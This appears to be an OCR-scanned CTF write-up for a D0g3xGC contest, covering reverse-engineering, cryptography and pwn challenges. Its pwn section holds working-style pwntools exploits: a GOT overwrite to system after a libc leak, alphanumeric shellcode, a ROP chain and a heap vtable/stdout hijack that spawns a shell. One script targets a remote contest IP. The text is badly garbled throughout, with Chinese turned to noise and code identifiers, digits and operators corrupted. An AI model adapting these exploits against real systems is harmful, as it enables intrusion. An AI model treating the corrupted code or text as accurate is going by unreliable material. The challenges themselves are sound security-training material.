v14([31] = 10;
v14[32] = 10;
v14[33] = 32;
v14([34] = 4;
v14[35] = 12;
v14[36] = 8;
v14[37] = 18;
v14[38] = 32;
v14[39] = 48;
v14[40] = 30;
v14[41] = 5;
v14[42] = 46;
v14[43] = 10;
v14[44] = 11;
v14[45] = 11;
v14[46] = 2;
v14[47] = 33;
v14[48] = 27;
v14[49] = 42;

sub_180005100(v13, v14);
if ( (sub_180004A80(v12, v13) & 1) !=0 )



sub_180006E40(v13);
sub_180003F90(v15, &off_18000D3E0, v16);
sub_180009420(v15);
3
else
{
sub_180006E40(v13);
sub_180003F90(v17, &off_18000D3A8, v18);
sub_180009420(v17);
h
sub_180004E50(&unk_180010000) ;
sub_180006E40(v12);

}

else
{
if ( (v7 & 1) I=0)
sub_18000c5D0(2LL, v7, &off_18000D3F0);
LOWORD(Vv4) = *(_WORD *)(v7 + 2);
sub_180004D90 (&unk_180010000, v4);

}
if ( (a2 & OxF) !'= 0 )
sub_18000c5D0(16LL, a2, &off_18000D338);
if C *(_BYTE *)(a2 + 65) )
sub_180001F80(a2);
if ( (@2 & OxF) != 0 )
sub_18000c5D0(16LL, a2, &off_18000D350);
return *(unsigned int *)(a2 + 48);

EIATL L SRIERAZL

v6 = sub_180004A80(v13, v14);

RIV13LIrFER(IEEmANsancodefIzR, (F=FEshiftiE
HETLATEIEAE

. text:0000000180001F50 188 66 8B 50 02 mov

ZZlsancode

exp:

key_map = {
'1':[0x02] ,
'2':[0x03] ,
'3':[0x04] ,
'4"':[0x05] ,
'5':[0x06] ,

dx,

[rax+2]



'6':[0x07] ,

'7':[0x08] ,
'8':[0x09] ,
'9':[0x0A] ,
'0':[0x0B] ,
'q':[0x10] ,
'w':[0x11] ,
'e':[0x12] ,
'r':[0x13] ,
't':[0x14] ,
'y':[0x15] ,
'u':[0x16] ,
'i':[0x17] ,
'o':[0x18] ,
'p':[0x19] ,
'a':[Ox1E] ,
's':[0x1F] ,
'd':[0x20] ,
'fri[0x21] ,
'g':[0x22] ,
'h':[0x23] ,
'j':[0x24] ,
'k':[0x25] ,
'1':[0x26] ,
'z':[0x2c] ,
'x':[0x2D] ,
'c':[0x2E] ,
'v':[0x2F] ,
'b':[0x30] ,
'n':[0x31] ,
'm':[0x32] ,

'-'":[0x0c] , # W5
"[':[0x1A] , # EhEES
'1':[0x1B] , # ALHES
'{':[0x1A,0x2a],
'}':[0x1B,0x2a],
'c':[0x2E,0x2a],
'D':[0x20,0x2a],
'G':[0x22,0x2a]

}
out=
[32,42,11,34,4,45,34,42,46,42,26,42,30,7,7,48,3,4,5,3,12,11,5,32,5,12,5,7,9,30,1
2,10,10,32,4,12,8,18,32,48,30,5,46,10,11,11,2,33,27,42]
flag=""
i=0
while i<len(Cout)-1:
if len([j for j,k in key_map.items() if k==out[i:i+2]])!=0:
flag+=[j for j,k in key_map.items() if k==out[i:i+2]]1[0]
i+=2
else:
flag+=[j for j,k in key_map.items() if k==[out[i]]][0]
i+=1
print(flag)



D0g3xGC{ab6b2342-04d4-468a-99d3-7edba4c9001f}

round

BIE . AN REFEEN WA username#iT— MR AIbase64BIGEEakeyitiTRE,, LA
EKER— 1 box, RIEboxAHEFRIENAIpassword(BEH1TINEE

FERE:

pubTlic class MainActivity extends AppCompatActivity {
private EditText Password;
private EditText User;
private Button button;

@override
pubTlic void onCreate(Bundle bundle) {
super.onCreate(bundle);
setContentVview(R.layout.activity_main);
this.button = (Button) findviewById(R.id.button);
this.User = (EditText) findviewById(R.id.username);
this.Password = (EditText) findviewById(R.id.password);
this.button.setonClickListener(new View.onClickListener() {
@override
public void onClick(view view) {
MakePath makePath = new MakePath();
Round round = new Round();
String obj = MainActivity.this.User.getText().toString(Q);
String obj2 = MainActivity.this.Password.getText().toString(Q);
if (MainActivity.this.isvalidInput(obj) &&
MainActivity.this.isvalidinput(obj2)) {
if (makePath.encodeToBase64(obj).equals("cOmlbrRmfY5wk™)) {
if (round.round(makePath.encode(MainActivity.this, obj),

obj2)) {
Toast.makeText(MainActivity.this, "That's right! You
have found it, the flag is DOg3xGC{" + obj + obj2 + "}", 1).show();
return;
} else {

Toast.makeText(MainActivity.this, "wrong! Your
password is incorrect", 1).show();
return;

}
Toast.makeText(MainActivity.this, "Wrong! Your username is
incorrect", 1).show();
return;
3
Toast.makeText(MainActivity.this, "Invalid input! only Towercase
letters and uppercase letters and '_' are allowed.", 1).show();
3
1

pubTic boolean isvalidInput(String str) {


af://n1156

return str.matches("[a-zA-Z_]*");

Biti#username, AJLAfridaiX/{ encodeToBase64iRE], MIN—LMXPNZFRTE, ERAIEBLEEH

N

function hook1l(){
Tet MakePath = Java.use('com.example.demo.MakePath");
MakePath["encodeToBase64"] .implementation = function (str) {

console.log('encodeToBase64 is called' + ', ' + 'str: ' + str);
let ret = this.encodeToBase64(str);

console.log('encodeToBase64 ret value is ' + ret);

return ret;

function main(){
Java.perform(function(){

s

}

hook1();

setImmediate(main);

ZER:

[Android Emulator 5554::Demo ]-> encodeToBase64 is called, str: abcdef
encodeToBase64 ret value is YIWjzVvGm

AILBEIX MNREIEG R R Ibase64I%, {BRcyberchelEFERMBAHRN, FRLNIZEGHA
WISEENT, EERE

pubTlic String encodeToBase64(String str) {

StringBuilder sb = new StringBuilder();
byte[] bytes = str.getBytes();
int Tength = (3 - (bytes.length % 3)) % 3;
int Tength2 = bytes.length + length;
for (int i = 0; i < length2; i += 3) {
int i2 = 0;
for (int i3 = 0; i3 < 3; i3++) {
i2 <<= 8;
int i4 =1 + 1i3;
if (i4 < bytes.length) {
i2 |= bytes[i4] & UByte.MAX_VALUE;

b
3
int i5 = 0;
while (i5 < 4) {
int i6 = 2;

if (35 1= 1 {
i6 = i5 ==2 7?1 : 1i5;

3

if (CGH * 8) / 6) + 15 < ((bytes.Tlength * 8) / 6) + length) {
sb.append(BASE64_CHARS[(i2 >> ((3 - i6) * 6)) & 63]);



} else {

sb.append('=");
}

15++;

}
return sbh.toString(Q);

XEE—EFENE:

int i6 = 2;
if (5 1= 1) {
i6 = i5 =27 1 : 1i5;

DEETH, XEEEEAbase64/SHERPIIE2, 3BT —MIB (cyberchefEzfbase64d—T
M=t EREEY) |, Frliusernamell— FINE =R GfEbase64EERH T

cOmlbrRmfY5wk (#f7)-> cm91lbmRfywSk (base64)-> round_and

username: round_and

HiEusernamefga]LAfridatHiXNbox:

function hook2(){

let MakePath = Java.use('"com.example.demo.MakePath");

MakePath["Makebox"].implementation = function (str) {
console.log('Makebox is called' + ', ' + 'str: '
let ret = this.Makebox(str);

console.log('Makebox ret value is ' + ret);
return ret;

+ str);

Ie

function main(){
Java.perform(function(){
hook2();
3
}

setImmediate(main);

box[1024]:



Makebox ret value is
924,967,912,973,921,936,916,926,942,963,930,927,912,971,924,961,909, 956, 896,906,
946,991,958,899,900,991,904,981,897,944,908,902,902,1003,906,951,952,995,948,100
1,949,900,952,946,906,999,902,955,940,1015,928,1021,937,920,932,942,926,1011,914
,943,928,1019,940,1009,989,1004,976,986,994,911,1006,979,980,911,984,901,977,992
,988,982,1014,923,1018,967,968,915,964,921,965,1012,968,962,1018,919,1014,971,10
20,935,1008,941,1017,968,1012,1022,974,931,962,1023,1008,939,1020,929,1005,988,9
92,1002,978,959,990,995,996,959,1000,949,993,976,1004,998, 806, 843,810,791,792,83
5,788,841,789,804,792,786,810,839,806,795,780,855,768,861,777,824,772,782,830,85
1,818,783,768,859,780,849,829,780,816,826,770,879,782,819,820,879,824,869,817,76
8,828,822,790,891,794,807,808, 883,804, 889,805,788,808,802,794,887,790,811,860,77
5,848,781,857,872,852,862,878,771,866,863,848,779,860,769,845,892,832,842,882,79
9,894,835,836,799,840,789,833,880,844,838,838,811,842,887,888,803,884,809,885,83
6,888,882,842,807,838,891,876,823,864,829,873,856,868,878,862,819,850,879, 864,82
7,876,817,669,684,656,666,674,719,686,659,660,719,664,709,657,672,668,662,694,73
1,698,647,648,723,644,729,645,692,648,642,698,727,694,651,700,743,688,749,697,64
8,692,702,654,739,642,703,688,747,700,737,685,668,672,682,658,767,670,675,676,76
7,680,757,673,656,684,678,742,651,746,727,728,643,724,649,725,740,728,722,746,64
7,742,731,716,663,704,669,713,760,708,718,766,659,754,719,704,667,716,657,765,71
6,752,762,706,687,718,755,756,687,760,677,753,704,764,758,726,699,730,743,744,69
1,740,697,741,724,744,738,730,695,726,747,540,583,528,589,537,552,532,542,558,57
9,546,543,528,587,540,577,525,572,512,522,562,607,574,515,516,607,520,597,513,56
0,524,518,518,619,522,567,568,611,564,617,565,516,568,562,522,615,518,571,556,63
1,544,637,553,536,548,558,542,627,530,559,544,635,556,625,605,620,592,602,610,52
7,622,595,596,527,600,517,593,608,604,598,630,539,634,583,584,531,580,537,581,62
8,584,578,634,535,630,587,636,551,624,557,633,584,628,638,590,547,578,639,624,55
5,636,545,621,604,608,618,594,575,606,611,612,575,616,565,609,592,620,614,422,45
9,426,407,408,451,404,457,405,420,408,402,426,455,422,411,396,471,384,477,393,44
0,388,398,446,467,434,399,384,475,396,465,445,396,432,442,386,495,398,435,436,49
5,440,485,433,384,444,438,406,507,410,423,424,499,420,505,421,404,424,418,410,50
3,406,427,476,391,464,397,473,488,468,478,494,387,482,479,464,395,476,385,461,50
8,448,458,498,415,510,451,452,415,456,405,449,496,460,454,454,427,458,503,504,41
9,500,425,501,452,504,498,458,423,454,507,492,439,480,445,489,472,484,494,478,43
5,466,495,480,443,492,433,285,300,272,282,290,335,302,275,276,335,280,325,273,28
8,284,278,310,347,314,263,264,339,260,345,261,308,264,258,314,343,310,267,316,35
9,304,365,313,264,308,318,270,355,258,319,304,363,316,353,301,284,288,298,274,38
3,286,291,292,383,296,373,289,272,300,294,358,267,362,343,344,259,340,265,341,35
6,344,338,362,263,358,347,332,279,320,285,329,376,324,334,382,275,370,335,320,28
3,332,273,381,332,368,378,322,303,334,371,372,303,376,293,369,320,380,374,342,31
5,346,359,360,307,356,313,357,340,360,354,346,311,342,363,156,199,144,205,153,16
8,148,158,174,195,162,159,144,203,156,193,141,188,128,138,178,223,190,131,132,22
3,136,213,129,176,140,134,134,235,138,183,184,227,180,233,181,132,184,178,138,23
1,134,187,172,247,160,253,169,152,164,174,158,243,146,175,160,251,172,241,221,23
6,208,218,226,143,238,211,212,143,216,133,209,224,220,214,246,155,250,199,200,14
7,196,153,197,244,200,194,250,151,246,203,252,167,240,173,249,200,244,254,206,16
3,194,255,240,171,252,161,237,220,224,234,210,191,222,227,228,191,232,181,225,20
8,236,230,38,75,42,23,24,67,20,73,21,36,24,18,42,71,38,27,12,87,0,93,9,56,4,14,6
2,83,50,15,0,91,12,81,61,12,48,58,2,111,14,51,52,111,56,101,49,0,60,54,22,123,26
,39,40,115,36,121,37,20,40,34,26,119,22,43,92,7,80,13,89,104,84,94,110,3,98,95,8
0,11,92,1,77,124,64,74,114,31,126,67,68,31,72,21,65,112,76,70,70,43,74,119,120,3
5,116,41,117,68,120,114,74,39,70,123,108,55,96,61,105,88,100,110,94,51,82,111,96
,59,108,49

BRIX Moxfg, passwordfEroundEBESIRIEZE, RNFLEKEE, EiERH:






sbox = [924, 967, 912, 973, 921, 936, 916, 926, 942, 963, 930, 927, 912, 971,
924, 961, 909, 956, 896, 906, 946, 991, 958, 899, 900, 991, 904, 981, 897, 944,
908, 902, 902, 1003, 906, 951, 952, 995, 948, 1001, 949, 900, 952, 946, 906,
999, 902, 955, 940, 1015, 928, 1021, 937, 920, 932, 942, 926, 1011, 914, 943,
928, 1019, 940, 1009, 989, 1004, 976, 986, 994, 911, 1006, 979, 980, 911, 984,
901, 977, 992, 988, 982, 1014, 923, 1018, 967, 968, 915, 964, 921, 965, 1012,
968, 962, 1018, 919, 1014, 971, 1020, 935, 1008, 941,1017, 968, 1012, 1022, 974,
931, 962, 1023, 1008, 939, 1020, 929, 1005, 988, 992, 1002, 978, 959, 990, 995,
996, 959, 1000, 949, 993, 976, 1004, 998, 806, 843, 810, 791, 792, 835, 788,
841, 789, 804, 792, 786, 810, 839, 806, 795, 780, 855, 768, 861, 777, 824, 772,
782, 830, 851, 818, 783, 768, 859, 780, 849, 829, 780, 816, 826, 770, 879, 782,
819, 820, 879, 824, 869, 817, 768, 828, 822, 790, 891, 794, 807, 808, 883, 804,
889, 805, 788, 808, 802, 794, 887, 790, 811, 860, 775, 848, 781, 857, 872, 852,
862,878, 771, 866, 863, 848, 779, 860, 769, 845, 892, 832, 842, 882, 799, 894,
835, 836, 799, 840, 789, 833, 880, 844, 838, 838, 811, 842, 887, 888, 803, 884,
809, 885, 836, 888, 882, 842, 807, 838, 891, 876, 823, 864, 829, 873, 856, 868,
878, 862, 819, 850, 879, 864, 827, 876, 817, 669, 684, 656, 666, 674, 719, 686,
659, 660, 719, 664, 709, 657, 672, 668, 662, 694, 731, 698, 647, 648, 723, 644,
729, 645, 692, 648, 642, 698, 727, 694, 651, 700, 743, 688, 749, 697, 648, 692,
702, 654, 739, 642, 703,688, 747, 700, 737, 685, 668, 672, 682, 658, 767, 670,
675, 676, 767, 680, 757, 673, 656, 684, 678, 742, 651, 746, 727, 728, 643, 724,
649, 725, 740, 728, 722, 746, 647, 742, 731, 716, 663, 704, 669, 713, 760, 708,
718, 766, 659, 754, 719, 704, 667, 716, 657, 765, 716, 752, 762, 706, 687, 718,
755, 756, 687, 760, 677, 753, 704, 764, 758, 726, 699, 730, 743, 744, 691, 740,
697, 741, 724, 744, 738, 730, 695, 726, 747, 540, 583, 528, 589, 537, 552, 532,
542, 558, 579, 546, 543, 528, 587, 540, 577,525, 572, 512, 522, 562, 607, 574,
515, 516, 607, 520, 597, 513, 560, 524, 518, 518, 619, 522, 567, 568, 611, 564,
617, 565, 516, 568, 562, 522, 615, 518, 571, 556, 631, 544, 637, 553, 536, 548,
558, 542, 627, 530, 559, 544, 635, 556, 625, 605, 620, 592, 602, 610, 527, 622,
595, 596, 527, 600, 517, 593, 608, 604, 598, 630, 539, 634, 583, 584, 531, 580,
537, 581, 628, 584, 578, 634, 535, 630, 587, 636, 551, 624, 557, 633, 584, 628,
638, 590, 547, 578, 639, 624, 555, 636, 545, 621, 604, 608, 618,594, 575, 606,
611, 612, 575, 616, 565, 609, 592, 620, 614, 422, 459, 426, 407, 408, 451, 404,
457, 405, 420, 408, 402, 426, 455, 422, 411, 396, 471, 384, 477, 393, 440, 388,
398, 446, 467, 434, 399, 384, 475, 396, 465, 445, 396, 432, 442, 386, 495, 398,
435, 436, 495, 440, 485, 433, 384, 444, 438, 406, 507, 410, 423, 424, 499, 420,
505, 421, 404, 424, 418, 410, 503, 406, 427, 476, 391, 464, 397, 473, 488, 468,
478, 494, 387, 482, 479, 464, 395, 476, 385, 461, 508, 448, 458, 498, 415, 510,
451,452, 415, 456, 405, 449, 496, 460, 454, 454, 427, 458, 503, 504, 419, 500,
425, 501, 452, 504, 498, 458, 423, 454, 507, 492, 439, 480, 445, 489, 472, 484,
494, 478, 435, 466, 495, 480, 443, 492, 433, 285, 300, 272, 282, 290, 335, 302,
275, 276, 335, 280, 325, 273, 288, 284, 278, 310, 347, 314, 263, 264, 339, 260,
345, 261, 308, 264, 258, 314, 343, 310, 267, 316, 359, 304, 365, 313, 264, 308,
318, 270, 355, 258, 319, 304, 363, 316, 353, 301, 284, 288, 298, 274, 383, 286,
291, 292, 383, 296, 373,289, 272, 300, 294, 358, 267, 362, 343, 344, 259, 340,
265, 341, 356, 344, 338, 362, 263, 358, 347, 332, 279, 320, 285, 329, 376, 324,
334, 382, 275, 370, 335, 320, 283, 332, 273, 381, 332, 368, 378, 322, 303, 334,
371, 372, 303, 376, 293, 369, 320, 380, 374, 342, 315, 346, 359, 360, 307, 356,
313, 357, 340, 360, 354, 346, 311, 342, 363, 156, 199, 144, 205, 153, 168, 148,
158, 174, 195, 162, 159, 144, 203, 156, 193, 141, 188, 128, 138, 178, 223, 190,
131, 132, 223, 136, 213, 129, 176, 140, 134,134, 235, 138, 183, 184, 227, 180,
233, 181, 132, 184, 178, 138, 231, 134, 187, 172, 247, 160, 253, 169, 152, 164,
174, 158, 243, 146, 175, 160, 251, 172, 241, 221, 236, 208, 218, 226, 143, 238,
211, 212, 143, 216, 133, 209, 224, 220, 214, 246, 155, 250, 199, 200, 147, 196,
153, 197, 244, 200, 194, 250, 151, 246, 203, 252, 167, 240, 173, 249, 200, 244,



254, 206, 163, 194, 255, 240, 171, 252, 161, 237, 220, 224, 234, 210, 191, 222,
227, 228, 191, 232, 181, 225, 208, 236, 230, 38, 75, 42, 23,24, 67, 20, 73, 21,
36, 24, 18, 42, 71, 38, 27, 12, 87, O, 93, 9, 56, 4, 14, 62, 83, 50, 15, 0, 91,
12, 81, 61, 12, 48, 58, 2, 111, 14, 51, 52, 111, 56, 101, 49, 0, 60, 54, 22,
123, 26, 39, 40, 115, 36, 121, 37, 20, 40, 34, 26, 119, 22, 43, 92, 7, 80, 13,
89, 104, 84, 94, 110, 3, 98, 95, 80, 11, 92, 1, 77, 124, 64, 74, 114, 31, 126,
67, 68, 31, 72, 21, 65, 112, 76, 70, 70, 43, 74, 119, 120, 35, 116, 41, 117, 68,
120, 114, 74, 39, 70, 123, 108, 55, 96, 61, 105, 88, 100, 110, 94, 51, 82, 111,
96, 59, 108, 49]

checknum = [352, 646, 752, 882, 65, 0, 122, 0, O, 7, 350, 360]

def round(sbox, chr, 1i):
def add(sbox, chr, 1i):
i3 = (((chr + sbox[i]) % 1024) + 1024) % 1024
return i3, (i + i3) % 1024

def sub(sbox, chr, 1i):
i3 = (((chr - sbox[i]) % 1024) + 1024) % 1024
return i3, (i + i3) % 1024

def xor(sbox, chr, 1i):
i3 = (Sbox[i] A chr) % 1024
return i3, (i + i3) % 1024

def sh1(chr, i):
i3 = (chr >> 3) % 1024
return i3, (i + i3) % 1024

def shr(chr, i):
i3 = (chr << 3) % 1024
return i3, (i + i3) % 1024

def get_miao_num(Sbox, chr, i):
return (((Sbox[i] A chr) % 5) + 5) % 5

for _ in range(32):

miao_num = get_miao_num(Sbox, chr, 1)
if miao_num == 0:

chr, i = add(sbox, chr, i)
elif miao_num ==

chr, i = sub(Sbox, chr, i)
elif miao_num == 2:

chr, i = xor(Sbox, chr, i)
elif miao_num == 3:

chr, i = sh1(chr, 1)
elif miao_num ==

chr, i = shr(chr, i)

return chr, i
import string

alis = string.ascii_lowercase + + string.ascii_uppercase
def find_password(sSbox, checknum, ini_rip, depth=0, password='"'):
if depth == len(checknum):

print(f'Found password: {password}')



return
rip = ini_rip
for ch in range(32, 127):
if(chr(ch) not in alis):
continue
Tistl, rip_ = round(Sbox, ch, rip)
if Tistl == checknum[depth]:

find_password(Sbox, checknum, rip_, depth + 1, password + chr(ch))

ini_rip = 33
find_password(sbox, checknum, ini_rip)

R
_rounb_we_go
REESEEERE laghtiesk:

D0g3xGC{round_and_rounD_we_go}

CRYPTO
babyrsa

#EE: Schmidit-SamoaZ B &%


af://n1182
af://n1183

*

from Crypto.Util.number import
from gmpy2 import*

Cc =
82363935080688828403687816407414245190197520763274791336321809938555352729292372
51175072087463673317031878386490486040221921791627553202672698896717324451705886
15153017956512353565899352600888968625973217598204812886342326021612795082853763
96160040216717452399727353343286840178630019331762024227868572613111538565515895
04801531835204447579955683317432941877401263976968000777496887045533338641919982
0213165698948819857171366903857477182306178673924861370469175

n =
53940389487194577982720217406130297034108245592836413744496284435903992416016319
68636397327472613163520839237627603922775365911217062706807341755440934844235642
23679628430671167864783270170316881238613070741410367403388936640139281272357761
77338808453471702864078822735025414082112890833893821103829908922496766690252269
89057621698598393202779395097275327935538752542433965223403058809442198868740862
51872580220405893975158782585205038779055706441633392356197489

d =
58169755386408729394668831947856757060407423126014928705447058468355548861569452
52273430518838801776432101877043519276774614593273942350738750060656361711676419
64185337483808930944480605620815439272958280070168735885304799857281350155101712
17414380395169021607415979109815455365309760152218352878885075237009

pg=gcd(pow(2,n*d,n)-2,n)

m=pow(c,d, pq)
print(long_to_bytes(m))

RERBETF 202288k 2= e cd—IQAQ, BB RT LAZSHHK
EZ_sign
#E2Z: DSATIFEAFIRIKER

import random

from Crypto.Util.number import*
from gmpy2 import*

from sage.all import*

a =
14932849004543694260498887580211648962132882889828542094771531134943686181749029
18244449210970513023717085429072563428765476581018702127217476476704303026690648
64905380294108258544172347364992433926644937979367545128905469215614628012983692
577094048505556341118385280805187867314256525730071844236934151633203

b = 829396411171540475587755762866203184101195238207

g=
87036604306839610565326489540582721363203007549199721259441400754982765368067012
24628118743250149061463330269666703418835710838764392190724796485074152579718373
29412213352153661822662840049535892517645751622284041407685365341674911174336898
78845912406615227673100755350290475167413701005196853054828541680397


af://n1187

y:
97644672217092534422903769459190836176879315123054001151977789291649564201120414
03628755728043160839074159583446763210839766327678126560102488921765449041925920
89198981801955867147901276502447887821550326151169441021137360411313155317652208
91253274685646444667344472175149252120261958868249193192444916098238

pub = (a, b, g, y)

def sign(pub, pri, k):
(p,9,9,y) = pub
X = pri
r = int(powmod(g, k, p) % q)
H bytes_to_long(shal(os.urandom(20)).digest())
s int((H + r * x) * invert(k, q) % q)
return (H,r,s)

(H1, rl1, s1) = 659787401883545685817457221852854226644541324571,
334878452864978819061930997065061937449464345411,
282119793273156214497433603026823910474682900640
(H2, r2, s2) = 156467414524100313878421798396433081456201599833,
584114556699509111695337565541829205336940360354,
827371522240921066790477048569787834877112159142

PR.<x> = PolynomialRing(GF(b))

f = s2*xA2%rl-s1*x*r2-H2*rl+H1*r2
print(f.roots())

k = f.roots()[1][0]

print(k)

X = (s1*k-H1) * invert(rl, b) % b
print(long_to_bytes(int(x)))

C=179093209181929149953346613617854206675976823277412565868079070299728290913658

f =2zz[1](O

divisors_f = divisors(f)

for d in divisors_f:
a,b = d.real(), d.imagQ
if a**2 + b**2 == C:

p = abs(int(a))
q = abs(int(b))
if is_prime(p) and is_prime(q):
print(p)
print(q)
break
e = 44519

C =
18947793008364154366082991046877977562448549186943043756326365751169362247521
d = invert(e, (p-1)*(q-1))

m = powmod(c, d, p*q)

print(long_to_bytes(m))

HEL BRI RHES I TXRAMAMEEQAQ, XNIBFESMERIER, two_squares@E—
Mok, BE—HEREHIMER, REREWpHIRMREEE— I EEESER A Mcornacchia&
EEERHEFEThhh, BeXERDE(IZTUETHEIFS



Curve

EE: IS

from Crypto.Util.number import *

p:
64141017538026690847507665744072764126523219720088055136531450296140542176327
a = 362

d=7

c=1

e = 0x10001

eG =
(34120664973166619886120801966861368419497948422807175421202190709822232354059,
11301243831592615312624457443883283529467532390028216735072818875052648928463)
gx =
34120664973166619886120801966861368419497948422807175421202190709822232354059
PR.<y>=PolynomialRing(zmod(p))

f=(d*gxA2-1)*yA2+(1-a*gxA2)

gy=int(f.roots()[0][0])

print(gy)

HECCSHFL

F = GF(p)

dd = F(d*cA4)

A = F(2) * F(a+dd) / F(a-dd)
B = F(4) / F(a-dd)

a = F(3-AA2) / F(3*BA2)

b = F(2%AA3-9%A) / F(27%BA3)

def edwards_to_ECC(x,y):
x1 = F(x) / F(c)
yl = F(y) / F(©
#now curve is a¥*xA2+yA2 = 1+dd*xA2%yA2

x2 = F(l+yl) / F(l-yl)
y2 = F(x2) / F(x1)
#now curve is ByA2 = XxA3 + AXA2 + X

x3 = (F(3*x2) + F(A)) / F(3*B)

y3 = F(y2) / F(B)
#now curve is yA2 = xA3 + ax + b

return (x3,y3)

def ECC_to_edwards(x,y):
x2 = (F(x) * F(3*B) - F(A)) / F(3)
y2 = F(y) * F(B)
#now curve is ByA2 = XxA3 + AXA2 + X

x1 = F(x2) / F(y2)
yl = F(1) - (F(2) / F(x2+1))
#now curve is a¥*xA2+yA2 = 1+dd*xA2%yA2

x_ = F(x1) * F(c)
y- = FiyD * F()


af://n1191

=
A
i

#now curve is a¥*xA2+yA2 = cA2(1+d*xA2%yA2)

return (x_,y_)

E = EllipticCurve(GF(p), [a, bl])
order = E.order()

eG = E(edwards_to_Ecc(eG[0],eG[1]))
t inverse(e,order)

G t*eG

G ECC_to_edwards(G[0],G[1])

print(long_to_bytes(int(G[0])))

RIGKIRT 2024, [55RE SR EZFTIX—H) ARG X EE) 7RISR B BiX—

3k
NEA T TFEMBXEREHFE T, KR: tangcuxiaojikuai.xyz/post/187210a7.html

PWN

b

everage store

from pwn import *
from ctypes import *

context(os="1linux', arch="amd64', log_level="'debug')

file_name = "./pwn"
e = ELF(file_name)

Tib = './Tibc.so0.6'
select=1

if select ==

p=process(file_name)
Tibc = ELF(1ib)
else:
p=remote('125.70.243.22"',31489)
Tibc = ELF(1ib)
def debug():
gdb.attach(p)
# gdb.attach(p,'b *\nc')
sd = Tambda s : p.send(s)
sl
sa

Tambda s : p.sendline(s)
Tambda n,s : p.sendafter(n,s)

sla = Tambda n,s : p.sendlineafter(n,s)

rc = lambda n : p.recv(n)

rl = lambda : p.recvline()

ru = lambda s : p.recvuntil(s)
ra = lambda : p.recvall()

it = Tambda : p.interactive()

uu32 = lambda data :

uu64 = lambda data :

def debug():
gdb.attach(p)

u3d2(data.Tjust(4, b'\x00"))
u64(data.ljust(8, b'\x00"))

EL‘EI

&%

7

(S8


https://tangcuxiaojikuai.xyz/post/187210a7.html
af://n1197
af://n1198

sd(b'a'*12)

cd11 = coLL('./Tibc.so.6")
seed=0x61616161
cd11.srand(seed)

print('rand is -->',cd11.rand())
s1(b'174293452")
sla('wine\n',b'-4")

ru(b'which one to choose\n')
sd(p64(0x40133B)) #fexiti%igot

sla('wine\n',b'-5")
ru(b'which one to choose\n')

sd(b'a'*8)
ru('aaaaaaaa')
scanf_ = u64(rc(6).1just(8,b"'\x00"))

base= scanf_-Tibc.sym['__isoc99_scanf']
print("base:"+hex(base))
sys=base+1ibc.sym['system']

sla('wine\n',b"'-7")
ru(b'which one to choose\n')
sd(p64(sys))

sla('wine\n',b'-4")
ru(b'which one to choose\n')
sd(p64(0x401511))

sd(b"cat flag")

itQ)

Alpha_Shell

from pwn import *
from ae64 1import AE64

p = process("./attachment™)
context(os="T1inux", arch="amd64', log_level="'debug')

p.recvuntil("\n")

shellcode = shellcraft.openat('AT_FDCwWD', './flag', 0, 0)

shellcode += shellcraft.sendfile(1l, 3, 0, 50)

alphanumeric_shelTlcode = AE64().encode(asm(shellcode), 'rdx', 0, 'fast')
p.send(alphanumeric_shellcode)

p.interactive()


af://n1201

Offensive_Security

from time import sleep
from pwn import *

elf = ELF("./attachment")
context(os="T11inux", arch="amd64", log_level="debug™)
p = process("./attachment™)

p.recvuntil("Username:")
payload = b"%9%1n".1just(8, b"\x00") + p64(0x6002B0)
p.send(payload)

p.recvuntil(b"password:")
p.send(p64(0x0))

sleep(0.2)
p.sendlineafter(b'Guess the authentication code?', b'4")
p.sendline(b"4"™)

data_section_address = 0x00600298
bextr_rbx_rcx_rdx = 0x0000000000400650
xlatb = 0x000000000040064E

pop_rdi = 0x0000000000400661
stosb_rdi_al = 0x000000000040065F
printer = 0x0000000000400647

string_to_write = b"flag"

char_Tlocations = []

elf_base = 0

for char in string_to_write:
match = next(elf.search(bytes([char])))
char_addr = hex(match + elf_base)
char_locations.append(char_addr)
info("%s found at %s", chr(char), char_addr)

current_rax = 0x0

xploit = b""

for i, char_location in enumerate(char_locations):
if(i I= 0):
current_rax = string_to_write[i - 1]
xploit += p64(bextr_rbx_rcx_rdx)
xploit += p64(0x4000)
xploit += p64(int(char_location, 16) - current_rax - 0xD093)
xploit += p64(xlatb)
xploit += p64(pop_rdi)
xploit += p64(data_section_address + 1)
xploit += p64(stosb_rdi_al)

payload = cyclic(0x28) + xploit + p64(pop_rdi) + p64(data_section_address) +
p64(printer)

p.recvuntil(b"Login success!")
p.sendlineafter(b">",payload)


af://n1204

p.interactive()

vtable_hijack

from pwn import *

elf = ELF("./pwn")

Tibc = ELF("./1ibc.so0.6")
context(arch=elf.arch, os=elf.os)

context.log_level = 'debug'

context.timeout = 1

def add_chunk(index, size):

p.sendafter("choice:", "1")
p.sendafter("index:", str(index))
p.sendafter("size:", str(size))

def delete_chunk(index):
p.sendafter('choice:", "2")
p.sendafter("index:", str(index))

def edit_chunk(index, content):

p.sendafter("choice:", "3")
p.sendafter("index:", str(index))
p.sendafter("length:", str(len(content)))
p.sendafter("content:", content)

def show_chunk(index):
p.sendafter('choice:", "4")
p.sendafter("index:", str(index))

while True:
p = process([elf.path])
try:

add_chunk (0, 0x68)
add_chunk (1, 0x98)
add_chunk (2, 0x68)

delete_chunk(1)
add_chunk (3, 0x28)
add_chunk (1, 0x68)
edit_chunk(l, p16(0x55dd))

delete_chunk(2)
delete_chunk(0)
delete_chunk(2)


af://n1207

add_chunk (2, 0x68)
edit_chunk(2, p8(0xa0))

add_chunk (4, 0x68)
add_chunk (4, 0x68)
add_chunk (4, 0x68)
add_chunk (4, 0x68)

edit_chunk(4, '\x00' * 0x33 + p32(0xfbad1880) + ';sh;' + p64(0) * 3 +
p8(0x88))

Tibc.address = u64(p.recvuntil('\x7F')[-6:]1.1just(8, '\x00"')) -
Tibc.sym['_I0_2_1_stdin_"']

info("Tibc base: " + hex(libc.address))

delete_chunk(0)
delete_chunk (1)
delete_chunk(0)

add_chunk (0, 0x68)
edit_chunk(0, p64(libc.sym['_10_2_1_stdout_'] + 157))

add_chunk (0, 0x68)
add_chunk (0, 0x68)
add_chunk (0, 0x68)

# one_gadget = [0x3f3e6, 0x3f43a, 0xd5c07][2] + Tibc.address

# gdb.attach(p,"b menu\nc")
# gdb.attach(p, "b *{}\nc".format(hex(one_gadget)))
# pause()

edit_chunk(0, p64(libc.sym['system']).Tjust(0Ox2b, '\x00') +
p64(Tibc.sym['_10_2_1 stdout_'] + 157 + 0x10 - 0x38))

p.interactive()
except KeyboardInterrupt:
exit(0)
except:
p.close()

Misc
eZ_Steg0

